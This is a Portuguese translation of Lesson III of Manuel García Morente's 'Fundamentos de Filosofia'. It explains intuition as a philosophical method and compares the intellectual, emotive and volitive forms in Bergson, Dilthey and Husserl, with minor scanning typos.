cap. 3 – A intuição como método da filosofia – Fundamentos de Filosofia de Manuel Morente

Fundamentos de Filosofia de Manuel Garcia Morente
Lições Preliminares

Lição III

A INTUIÇÃO COMO MÉTODO DA FILOSOFIA

18.
MÉTODO DISCURSIVO E MÉTODO INTUITIVO. — 19. A INTUIÇÃO SENSÍVEL. — 20. A INTUIÇÃO ESPIRITUAL. — 21. A INTUIÇÃO INTELECTUAL, EMOTIVA E VOLITIVA. — 22.
REPRESENTANTES FILOSÓFICOS DE CADA UMA. — 23. A INTUIÇÃO EM BERGSON. — 24. A INTUIÇÃO EM DILTHEY. — 25. A INTUIÇÃO EM HUSSERL. — 26.  CONCLUSÃO.

18.  
Método discursivo e método intuitivo.

Em
nossa lição anterior havíamos tomado como tema o método da filosofia, e
havíamos chegado ao ponto em que a intuição se nos apresentava insistentemente
na história do pensamento filosófico como o método fundamental, principal, da
filosofia moderna.

Descartes
foi, na filosofia moderna, o primeiro que, decompondo em seus elementos as
atitudes com que nos situamos ante o mundo exterior e ante as opiniões
transmitidas dos filósofos, chega a lima Intuição primordial, primária, da qual
logo parte para reconstruir todo o sistema da filosofia. Descartes faz, pois,
da intuição o método primordial da filosofia.

Mais
tarde, depois de Descartes, o método da intuição continua a florescer entre os
filósofos modernos. Empregam-no principalmente os filósofos idealistas alemães
(Fichte, Schelling, Hegel, Schopenhauer), e na atualidade o método da intuição
é também geralmente aplicado nas disciplinas filosóficas.

Assim,
pois, pensei que seria conveniente dedicar toda uma lição ao estudo demorado
daquilo que é a intuição, de quais são suas fórmulas principais, de como
atualmente, na filosofia do presente, ás distintas formas de intuição estão
representadas por diferentes filósofos e diversas escolas e tirar logo as
conclusões desse estudo para fixar em linhas gerais o uso que nós mesmos vamos fazer
aqui da Intuição como método filosófico.

A
primeira coisa que nos perguntaremos é: que é a intuição? Em que consiste a
intuição?

A
intuição se nos oferece, em primeiro lugar, como um meio de chegar ao
conhecimento de algo, e se contrapõe ao conhecimento discursivo. Para
compreender bem o que seja o método intuitivo convém, por conseguinte, que o
exponhamos em contraposição ao método discursivo. Será mais fácil começar pelo
método discursivo.

Como
a palavra "discursivo" indica, este método tem relação com a palavra
"discorrer" e com a palavra "discurso". Discorrer e
discurso dão a idéia, não de um único ato encaminhado para o objeto, mas de uma
série de atos, de uma série de esforços sucessivos para captar a essência ou
realidade do objeto.

Discurso,
discorrer, conhecimento discursivo é, pois, um. conhecimento que chega ao fim
proposto mediante uma série de esforços sucessivos que consistem em ir fixando,
por aproximações sucessivas, umas teses que logo são contraditas, discutidas
cada qual consigo mesma, melhoradas, substituídas por outras novas teses ou
afirmações e assim até chegar a abranger por completo a realidade do objeto,
e, por conseguinte, obter dessa maneira o conceito.

O
método discursivo é, pois, essencialmente um método indireto. Em lugar de ir o espírito
direto ao objeto, passeia, por assim dizer, ao redor do objeto, considera-o e
contempla-o de múltiplos pontos de vista: vai sitiando-o cada vez mais de
perto, até que por fim consegue forjar um conceito que se aplica perfeitamente
a ele.

Frente
a este método discursivo está o método intuitivo. A intuição consiste
exatamente no contrário. Consiste num único ato do espírito que, de repente,
subitamente, lança-se sobre o objeto, apreende-o, fixa-o, determina-o com uma
só visão da alma. Por isso a palavra "intuição" tem relação com a
palavra "intuir", a qual, por sua vez, significa em latim
"ver". Intuição vale tanto como visão, como contemplação.

O
caráter mais evidente do método da intuição é ser direto, enquanto que o
método discursivo é indireto. A intuição vai diretamente ao objeto. Por meio da
intuição obtém-se um conhecimento imediato, enquanto por meio do discurso, do
discorrer ou do raciocinar, obtém—se um conhecimento mediato, ao final de
certas operações sucessivas.

19.  
A intuição sensível

 

Existem
na realidade intuições? Existem; e o primeiro exemplo, e mais característico,
da intuição, é a intuição sensível, que todos praticamos a cada instante.
Quando com um só olhar percebemos um objeto, um copo, uma árvore, uma mesa, um homem,
uma paisagem, com um só ato conseguimos ter, captar esse objeto. Esta intuição
é imediata, é uma comunicação direta entre mim e o objeto.

Por
conseguinte, fica claro e evidente que existem intuições, embora não fosse
mais que esta intuição sensível; porém, esta intuição sensível não pode ser a
intuição de que se vale o filósofo para fazer o seu sistema filosófico. E não
pode ser a intuição de que se vale o filósofo por duas razões fundamentais. A
primeira é que a intuição sensível não se aplica senão a objetos que se
oferecem aos sentidos, e, por conseguinte, só é aplicável e válida para aqueles
casos que, por  meio   das   sensações,   nos   são   imediatamente   dados. Em
vez disto, o filósofo necessita tomar, como base do seu estudo, objetos que não
se apresentam imediatamente na sensação e na percepção sensível; tem que tomar
como termo do seu esforço objetos não sensíveis. Não pode servir-lhe por
conseguinte a intuição sensível.

Mas,
além disto, há outra razão que impediria ao filósofo usar a intuição sensível,
e é porque esta, em rigor, não nos proporciona conhecimento, pois como não se
dirige mais que a um objeto singular, a este que está diante de mim, que
efetivamente está aí, a intuição sensível tem o caráter da individualidade, não
é válida mais que para esse objeto particular que está diante de mim. Em vez
disso, a filosofia tem por objeto não o singular que está aí, diante de mim,
mas objetos gerais, universais. Por conseguinte, a intuição sensível, que está,
pela sua essência, atada à singularidade do objeto, não pode servir em
filosofia, a qual, pela sua essência, se encaminha à universalidade ou
generalidade dos objetos.

20.  
A intuição espiritual.

Se
não houvesse mais intuição que a intuição sensível, a filosofia ficaria muito
mal servida.

Mas
é o caso que há na nossa vida psíquica outra intuição além da intuição
sensível. Existe, digo, outra intuição que, desde já, antes de trocar-lhe o
nome, vamos denominar "intuição espiritual". Assim, por exemplo,
quando eu aplico o meu espírito a pensar este objeto: "Que uma coisa não
pode ser e não ser ao mesmo tempo", vejo sem necessidade de demonstração
(a demonstração é discurso e conhecimento discursivo), com uma só visão do
espírito, com uma evidência imediata, direta e sem necessidade de demonstração,
que uma coisa não pode ser e não ser ao mesmo tempo. O princípio de
contradição, como o chamam os lógicos, é, pois, intuído por uma visão direta do
espírito, é uma intuição.

Quando
eu digo que a cor vermelha é distinta da cor azul, esta diferença entre o
vermelho e o azul, vejo-a também com os olhos do espírito mediante uma visão
direta e imediata. Eis um segundo exemplo de uma intuição que já não é
sensível. É sensível a intuição do vermelho, é sensível a intuição do azul,
porém a intuição da relação de diferença — a intuição de que o vermelho é
diferente do azul — essa já não é uma intuição sensível, porque seu objeto, que
é a diferença, não é um objeto sensível, como o azul e o vermelho.

Quando
eu digo que a distância de um metro é menor do que a distância de dois metros,
esta diferença, esta relação, é o objeto de uma intuição e não é um objeto
sensível.

Por
conseguinte a intuição, que estes exemplos nos descobrem, não é uma intuição
sensível. Existe, pois, uma intuição espiritual, que se diferencia da intuição
sensível em que seu objeto não ó um objeto sensível. Esta intuição tampouco se
faz por meio dos sentidos, mas por meio do espírito.

Até
agora vou falando do espírito em geral, sem maior precisão. Mas agora é preciso
ir depurando, purificando, esclarecendo mais esta noção que já temos da
intuição.

Se considerarmos os exemplos com que
ilustramos esta intuição espiritual, dar-nos-emos conta imediatamente de que
eles nos colocam diante de um gênero de objetos que são sempre relações, e estas
relações são de caráter formal. Referem-se à forma dos objetos. Não ao seu
conteúdo, mas a esse caráter, por assim dizer, exterior, que todos os objetos
têm de comum: a dimensão, o tamanho etc. Então, por meio da intuição
espiritual, no sentido em que a empregamos até agora, percebemos diretamente,
intuímos diretamente formas dos objetos: ser maior ou ser menor; ser grande ou
ser pequeno em relação a um módulo; poder ser ou não ao mesmo tempo. Mas todas
estas são formalidades.

A
intuição espiritual nos exemplos que acabo de oferecer é, pois, uma intuição
puramente formal. Se não houvesse outra na -vida do filósofo, mal andaria ele.
Se não pudesse ter mais intuições que intuições formais, também não poderia
construir a sua filosofia porque com simples formalismos não se pode penetrar
na essência, na realidade roesma das coisas, como o filósofo pretende mais do
que nenhum outro pensador.

Porém,
há na vida do filósofo outra intuição que não é puramente formal, há outra
intuição que, para contrapô-la a intuição formal, chamaremos "intuição
real". Há outra intuição que penetra no fundo mesmo da coisa, que chega a captar
sua essência, sua existência, sua consistência. Esta intuição que vai
diretamente ao fundo da coisa é a que aplicam os filósofos. Não uma simples
intuição espiritual, mas uma intuição espiritual de caráter real, por
contraposição à intuição de caráter formal a que antes me referia. E esta
intuição de caráter real, esta saída do espírito, que vai tomai contacto com a
íntima realidade essencial e existencial dos objetos, esta intuição real,
podemos, por sua vez, dividi-la em três classes, segundo predomine nela, ao
verificá-la, por parte do filósofo, a atitude espiritual, ou a atitude
emotiva, ou a atitude volitiva.

21.  
A intuição intelectual, emotiva e volitiva.

Quando
na atitude da intuição o filósofo põe principalmente em jogo suas faculdades
intelectuais, então temos a intuição intelectual. Esta intuição
intelectual tem no objeto seu correlato exato. Já sabemos que todo ato do
sujeito, todo ato do espírito na sua integridade, se encaminha para os objetos,
e o ato do sujeito tem então sempre seu correlato objetivo, consistente, para
tal intuição, na essência do objeto. A intuição intelectual é um esforço para
captar diretamente mediante um ato direto do espírito, a essência, ou seja,
aquilo que o objeto é.

Mas
existe, além. disso, outra atitude intuitiva do sujeito em que atuam
predominantemente motivos de caráter emocional. Esta segunda espécie de
intuição, que chamamos intuição emotiva, tem também seu correlato no
objeto. O correlato a que se refere intencionalmente a intuição emotiva já não
é a essência do objeto, já não é aquilo que o objeto é, mas o valor do objeto,
aquilo que o objeto vale.

No
primeiro caso a intuição nos permite captar o éidos, como se diz em grego, a
essência ou a consistência do objeto. No segundo caso, ao contrário, o que
captamos não é aquilo que o objeto é, mas aquilo que o objeto vale, ou seja, se
o objeto é bom ou mau, agradável ou desagradável, belo ou feio, magnífico ou
mísero.

Todos
estes valores que estão no objeto são captados por uma intuição
predominantemente emotiva.

E
existe uma terceira intuição na qual as motivações internas do sujeito, que se
coloca nessa atitude, são predominantemente volitivas. Esta terceira intuição
em que os motivos que se entrechocam são derivados da vontade, derivados do
querer, tem também seu correlato no objeto. Não se refere nem â essência, como
a intuição intelectual, nem ao valor, como a intuição emotiva. Refere-se à existência,
à realidade existencial do objeto.

Por
meio da intuição intelectual propende o pensador filosófico a desentranhar
aquilo que o objeto é. Por meio da intuição emotiva propende a desentranhar
aquilo que o objeto vale, o valor do objeto. Por meio da intuição volitiva
desentranha, não aquilo que é, senão que é, que existe, que está aí, que é algo
distinto de mim. A existência do ser manifesta-se ao homem mediante um tipo de
intuição predominantemente volitiva.

22.   Representantes filosóficos de cada
uma.

Estes
três tipos de intuição estão representados amplamente na história do pensamento
humano.

A
intuição intelectual pura encontramo-la na Antigüidade, em Platão; na época
moderna, em Descartes e nos filósofos idealistas alemães, sobretudo em Schelling
e Schopenhauer.

A
intuição emocional ou emotiva também está amplamente representada na história
do pensamento humano. Na antigüidade encontramo-la no filósofo Plotino; mais tarde,
em alto grau, levada a um dos mais sublimes níveis da história do pensamento,
encontramo-la em Santo Agostinho. Na filosofia de Santo Agostinho, a intuição
emotiva chega a refinamentos e resultados extraordinários. Depois de Santo
Agostinho, durante toda a Idade Média, combatem e lutam ‘uns contra outros os
partidários da intuição intelectual e da intuição emotiva. As escolas,
principalmente dos franciscanos, de caráter místico, contrapõem-se ao
racionalismo de S. Tomás. Corre por toda a Idade Média este duplo fluir dos
partidários de uma e de outra intuição.

Por
último, a intuição emotiva, que em alguns casos não deixa de estar tingida de
um elemento religioso, encontra-se em dois pensadores modernos, nos quais
quase não foi notada até agora. Um ó Espinosa. Em muitíssimos livros de
filosofia se diz que Espinosa não faz uso da intuição; que Espinosa demonstra
suas proposições more geométrico, como puras demonstrações de teoremas de
geometria, onde o elemento discursivo abafa por completo toda intuição.
Todavia, isto é mera aparência. Na realidade, no fundo da filosofia de
Espinosa, existe como que uma intuição mística; chega um momento, no último
livro da Ética de Espinosa, em que, sob a forma de uma demonstração geométrica,
aparece a intuição emotiva, que rompe os moldes lógicos da demonstração e se
faz patente ao leitor, não sem uma comoção verdadeiramente tremenda da alma; é
quando Espinosa, ao chegar quase ao término de seu livro, sente-se elevado,
sente-se sublimado no propósito filosófico que desde o começo o anima, e
escreve esta frase como o enunciado de um de seus teoremas: "Sentimus
experimurque nos esse aeternos", que quer dizer: "Nós sentimos e
experimentamos que somos eternos". Aí se vê bem até que ponto toda esta
crosta de teoremas e de demonstrações estava recobrindo uma intuição palpitante
de emoção, uma intuição quase mística da identidade do finito com o infinito e
da eternidade no próprio presente.

Outro
que, por estranho que pareça, pretende também esta intuição emotiva é nada
menos que o filósofo inglês Hume. Para Hume a existência do mundo exterior e a
existência do nosso próprio eu não podem ser objeto de intuição intelectual;
não podem ser objeto nem de intuição intelectual nem de demonstração racional.
Não se pode demonstrar a ninguém que o mundo exterior existe ou que o eu
existe. A única coisa que se pode fazer é convidar alguém a dizer se acredita
que existe o mundo exterior ou se crê que existe o eu, porque a idéia que temos
do mundo exterior não é mais que um belief, uma crença. Cremos, temos fé; nossa
crença no mundo exterior e na realidade de nosso eu é um ato de fé.

Quanto
à intuição volitiva, tem na história da filosofia porta-vozes e representantes
bem autorizados, dentre os quais aquele que talvez mais profundamente chegou a
sentir esta intuição de caráter volitivo é o filósofo alemão Fichte. Fichte faz
depender a realidade do universo e a própria realidade do eu de uma afirmação
voluntária do eu. O eu voluntariamente se afirma a si mesmo; cria-se, por assim
dizer, a si mesmo; põe-se a si mesmo. E ao pôr-se a si mesmo, põe-se exclusivamente
como vontade, não como pensamento; como uma necessidade de ação, como algo que
necessita realizar-se na ação, na execução de algo querido e desejado. E para
que algo seja querido e desejado, o eu, ao pôr-se a si mesmo, põe-se, melhor
dito, propõe a si obstáculos para seu próprio desenvolvimento, com o objetivo
de poder transformar-se em solucionador de problemas, em ator de ações, em
algo que rompe esses obstáculos. A realização de uma vida, que consiste era
dominar obstáculos, é para Fichte a origem de todo o sistema filosófico. Aqui
temos na sua maior plenitude uma intuição de caráter volitivo.

De
modo que na história da filosofia moderna os três tipos principais de intuição
estão ampla e magnificamente representados.

Na
filosofia contemporânea, a dos filósofos que vivem ainda ou desapareceram faz
pouco tempo, a intuição constitui também a forma fundamental do método
filosófico. Em uma ou outra modalidade, a intuição constitui, em toda a
filosofia contemporânea, o instrumento principal de que o filósofo se vale para
lograr as aquisições de seus sistemas.

As
modalidades em que esta intuição se apresenta na filosofia contemporânea são
muito variadas. Seja dito de passagem, existe na filosofia contemporânea um
imoderado afã de originalidade. Cada filosofo pretende ter um sistema. Se nós
quiséssemos seguir em todos os seus variados matizes as divergências que há
entre este, esse e aquele, essas pequenas divergências que há entre um e outro,
com suas preocupações de originalidade e de dizer o que ninguém disse,
perder-nos-íamos numa selva de minúcias, muitas vezes pouco significativas.

Fazendo
uma classificação geral e tomando as principais figuras do pensamento
contemporâneo, podemos encontrar até três modalidades no uso do método da
intuição.

Estas
três modalidades vamos expô-las com os nomes dos filósofos que melhor as
representam.

Temos
primeiramente a intuição como a emprega e pratica Bergson. A segunda modalidade
está representada principalmente por Dilthey. A terceira modalidade está
representada por Husserl, que formou uma escola bastante extensa pelo número de
seus seguidores e que costumava levar o nome de "escola
fenomenológica".

Vamos
tentar caracterizar brevemente a classe de intuição que cada um desses três
pensadores preconiza como o método da filosofia.

23.   
A intuição em Bergson.

Para
Bergson a filosofia não pode ter outro método que o da intuição. Qualquer outro
método que não seja a intuição falsearia radicalmente a atitude filosófica. Por
quê? Porque Bergson contrapõe (até que ponto com verdade, isso não vou
discuti-lo agora) a atividade intelectual e a atividade intuitiva. Para
Bergson a atividade intelectual consiste em fazer o que fazem os cientistas;
consiste em fazer o que fazem os homens na vida ordinária; consiste em tomar as
coisas como coisas inertes, estáticas, compostas de elementos que se podem
decompor e recompor, como o relojoeiro decompõe e recompõe um relógio. O
cientista, o economista, o banqueiro, o comerciante, o engenheiro, tratam a
realidade que têm diante de si como um mecanismo cujas bases se podem
desconjuntar e logo tornar a se juntar. O cientista, o matemático, considera as
coisas que têm diante de si como coisas inertes, que estão aí, esperando que ele
chegue para dividi-las em partes e fixar para cada elemento suas equações
definidoras e logo reconstruir essas equações.

Segundo
Bergson, este aspecto da realidade que o intelecto, a inteligência, estuda
desta maneira, é o aspecto superficial e falso da realidade. Debaixo dessa
realidade mecânica que pode se decompor e recompor à vontade, debaixo dessa
realidade que ele chama realidade já feita, está a mais profunda e autêntica
realidade, que é uma realidade que se faz, que é uma realidade impossível de
decompor em elementos comutáveis, que é uma realidade fluente, que é que é,
por conseguinte, uma realidade no fluir do tempo, que se escapa das mãos tão
logo queremos aprisioná-la; como quando jogamos água numa cesta de vime e ela
escapa pelas aberturas.

Do
mesmo modo, para Bergson o intelecto realiza sobre essa realidade profunda e
movediça uma operação primária que consiste em solidificá-la, em detê-la, em
transformar o fluente em inerte. Deste modo facilita-se a explicação, porque,
tendo transformado o movimento em imobilidade, decompõe-se o movimento em uma
série infinita de pontos imóveis.

Por
isso, para Bergson, Zenão de Eléa, o famoso autor dos argumentos contra o
movimento, terá razão no terreno da intelectualidade, e não terá jamais razão
no terreno da intuição vivente. A intuição vi-vente tem por missão abrir
passagem através dessas concreções do intelecto, para usar uma metáfora. A
primeira coisa que fez o intelecto foi congelar o rio da realidade, convertê-lo
em gelo sólido, para poder entendê-lo e manejá-lo melhor; porém falseia-o ao
transformar o líquido em sólido, porque a verdade é que, por baixo, é líquido,
e o que tem que fazer a intuição é romper esses artificiais blocos de gelo
mecânico para chegar à/’fluência mesma da vida, que corre sob essa realidade
mecânica.

A
missão da intuição é, pois, essa: opor-se à obra do intelecto, ou daquilo que
Bergson chama o pensamento, ia pensée. Por isso, no seu último livro chegou
talvez ao máximo refinamento na história da filosofia, que consiste em ter
colocado no titulo mesmo do seu livro a última essência do seu pensamento:
Intitula-o La pensée et le mouvant: "O pensamento e o
movente". Intelectual é o pensamento. Mas o aspecto profundo e real é o
movimento, a continuidade do fluir do mudar, ao qual só por intuição podemos
chegar.

Por
isso, para Bergson, a metáfora literária é o instrumento mais apropriado para a
expressão filosófica. O filósofo não pode fazer definições porque as
definições se referem ao estático, ao quieto, ao imóvel, ao mecânico e ao
intelectual. Mas a verdade última é o morente e fluente que há debaixo do
estático, e a essa verdade não se pode chegar por meio de definições
intelectuais: a única coisa que pode fazer o filósofo é mergulhar nessa
realidade profunda; e logo, quando voltar à superfície, tomar a pena e
escrever, procurando, por melo de metáforas e sugestões de caráter
artístico e literário, levar o leitor a verificar por sua vez essa mesma
intuição que o autor verificou antes dele. A filosofia de Bergson é um
constante convite para que o leitor seja também filósofo e faça também ele
as mesmas intuições.

24. A intuição em
Dilthey.

 

Passaremos
agora a tentar caracterizar em poucas palavras a intuição em Dilthey.

A
intuição em Dilthey pode ser caracterizada rapidamente com o adjetivo
"volitivo". A intuição de Dilthey é a intuição volitiva a que, faz
alguns instantes, me referia. Também para Dilthey, como para Bergson, o
intelectualismo, o idealismo, o racionalismo, todos aqueles sistemas
filosóficos para os quais a última e mais profunda realidade é o intelecto, o
pensamento, a razão, todas essas filosofias para Dilthey são falsas, são
insuficientes.

Para
Dilthey não é a razão, não é o intelecto que nos descobre a realidade das
coisas. A realidade, ou, melhor dito ainda, a "existência" das
coisas, a existência viva das coisas, não pode ser demonstrada pela razão, não
pode ser descoberta pelo entendimento, pelo intelecto. Tem que ser intuída com
uma intuição de caráter volitivo, que consiste em percebermo-nos a nós mesmos
como agentes, como seres que, antes de pensar, querem, apetecem, desejam. Nós
somos entes de vontade, de apetites, de desejos, antes que entes de
pensamentos. E queremos enquanto somos entes de vontade. Mas nosso querer
tropeça com dificuldades. Essas dificuldades nas quais tropeça nosso querer convertemo-las
em coisas. Essas dificuldades são as que nos dão, imediata e intuitivamente,
notícias da existência das coisas; e uma vez que nossa vontade, ao tropeçar com
resistências, chega a lutar contra elas, converte essas resistências em
existências.

A
existência das coisas é, pois, dada à nossa intuição volitiva como resistência
delas. Por isso o primeiro vislumbre de filosofia existencial está em Dilthey.


um filósofo francês, não direi pouco conhecido, mas sim menos conhecido, Maine
de Biran, que viveu em meados do século XIX e cuja atuação filosófica passou,
não direi despercebida, mas sim pouco percebida. Maine de Biran foi talvez o
primeiro que denunciou esta origem volitiva da existencialidade, que denunciou
em nós uma base para afirmação da existência alheia, de existência das coisas e
dos outros homens, uma base nas resistências que se opõem à nossa vontade, e
estudou demoradamente a contribuição essencial que as sensações musculares dão
na psicologia à formação da idéia do eu e das coisas.                                                                                               

Dilthey
considera como a intuição fundamental da filosofia e esta intuição volitiva que
nos revela as existências. De outra parte isto o leva também a considerar que
na vida humana a dimensão do passado é essencial para o presente. Assim como o
que rodeia o homem se lhe apresenta primordialmente em forma de obstáculos e
resistências à sua ação, do mesmo modo o presente tem que se nos apresentar
como o limite a que chegam hoje os esforços procedentes do passado. E assim a
dimensão do histórico e do pretérito faz entrada no campo da filosofia de um
modo completamente distinto daquele que tivera na filosofia idealista alemã de
começos do século XIX.

25.  
A intuição em Husserl.

Por
último, direi algumas palavras sobre a intuição fenomenológica de Husserl.

A intuição fenomenológica de Husserl, para
caracterizá-la em termos muito gerais, e, por conseguinte, muito vagos, teria
que ser relacionada com o pensamento platônico. Husserl pensa que todas as
nossas representações são representações que devemos  olhar de dois pontos de
vista. Desde logo, um ponto de vista psicológico segundo o qual têm uma
individualidade psicológica como fenômenos psíquicos; todavia, como todos os
fenômenos psíquicos, eles contêm a referência intencional a um objeto.

Cada
uma de nossas representações é, pois, em primeiro lugar, uma representação
singular. Em segundo lugar, esta representação singular é o representante, o
mandatário, diremos, de um objeto, Assim, se eu quero pensar o objeto Napoleão,
não posso pensá-lo de outra maneira que representando-me Napoleão, mas a
representação que eu tenho de Napoleão terá que ser singular: ora imagino-o montado
a cavalo na ponte de Arcole, ora suponho-o na batalha de Austerliz, com a
cabeça baixa e a mão enfiada na sua túnica; ora figuro-o desesperado, após a
derrota de Waterloo. Cada uma dessas representações por si mesma é singular;
mas as três, embora sejam totalmente distintas umas das outras, referem-se ao
mesmo objeto que é Napoleão.

Pois
bem: a intuição fenomenológica consiste em olhar para uma representação
qualquer, prescindindo de sua singularidade, prescindindo ,do seu caráter
psicológico particular, colocando entre parente ses a existência singular da
coisa; e então, afastando de si essa existência singular da coisa, para não
procurar na representação senão aquilo que tem de essencial, procurar a
essência geral, universal, na representação particular. Considerar, pois, cada
representação particular como não particular, colocando entre parênteses,
eliminando de nossa contemplação, aquilo que tem de particular, para não olhar
senão aquilo que tem de geral; e uma vez que conseguirmos lançar o olhar
intuitivo sobre aquilo que cada representação particular tem de geral, teremos
nessa representação, embora particular, plasticamente realizada a essência
geral. Teremos a idéia, como ele diz, renovando a terminologia de Platão, e por
isso se trata aqui, para Husserl, de uma intuição do tipo que denominamos
intelectual.

Temos,
pois, em linhas gerais aproximadamente o seguinte: que Bergson nos representa a
intuição de tipo emotivo; que Dilthey nos representa  a intuição  existencial 
volitiva;  e  Husserl  representa  a intuição intelectual à maneira de Platão
ou talvez também à maneira de Descartes.

26.  
Conclusão.

Para
terminar, é conveniente que tentemos extrair dessa análise que fizemos da
intuição, algumas conclusões pessoais para nosso estudo da filosofia, para
nossas excursões no campo da filosofia.

É
preciso considerar que estas três classes de intuição que se repartem em
grandes linhas o campo metódico filosófico contemporâneo têm, cada uma delas,
sua justificação num lugar do conjunto do ser. O erro consiste em querer
aplicar uniformemente uma só delas a todos os planos e a todas as camadas do
ser.

Evidentemente,
nas camadas do ser que estão dominadas pela construção intelectual das ciências
matemáticas, físicas, das ciências biológicas, das ciências jurídicas e
sociais, aquelas camadas onde o ser

significa
já, sem preocupar-se da origem delas, existência e essência, nessas camadas o
importante, o filosòficamente importante é a descrição das essências. Fazer
descrição daquilo que os objetos são.

Para
estas camadas do ser, evidentemente, a intuição fenomenológica de Husserl é o
instrumento mais apropriado; a intuição intelectual é aquela que, tendo nós
posto o objeto diante de nós, submete o às categorias do ser estático, do ser
existente; o método mais eficaz para esta camada de ser será evidentemente a
intuição fenomenológica, que procura furar as representações desse ser, dessa
coisa, para chegar à coisa mesma, prescindindo da singularidade e
particularidade da representação.

Todavia,
se o objeto que nos propomos captar for pré-intelectual, for essa vivência do
homem antes que o homem tenha resolvido crer que há coisas, então teremos que
descobrir essa vivência do homem, anterior à crença na existência das coisas,
como um puro e simples viver, mas um viver que sente os obstáculos, que tropeça
com resistência, com dificuldades. E justamente ao tropeçar com resistências e
dificuldades, dá a essas resistências o valor de existências e, tendo-as
convertido em existências, lhes confere o ser, e, uma vez que lhes conferiu o
ser, então já são essências, às quais pode aplicar-se a intuição intelectual.

De
sorte que estes três tipos de intuição não são contraditórios mas antes podem
todos ser usados na filosofia contemporânea e nós os usaremos segundo as
camadas de realidade em que estiverem situados os objetos a que nos
consagramos. Em nossas excursões pelo campo da filosofia, seremos fiéis ao
método da intuição, se umas vezes aplicarmos a intuição fenomenológica e outras
a intuição emotiva, ou, melhor ainda, a intuição volitiva.

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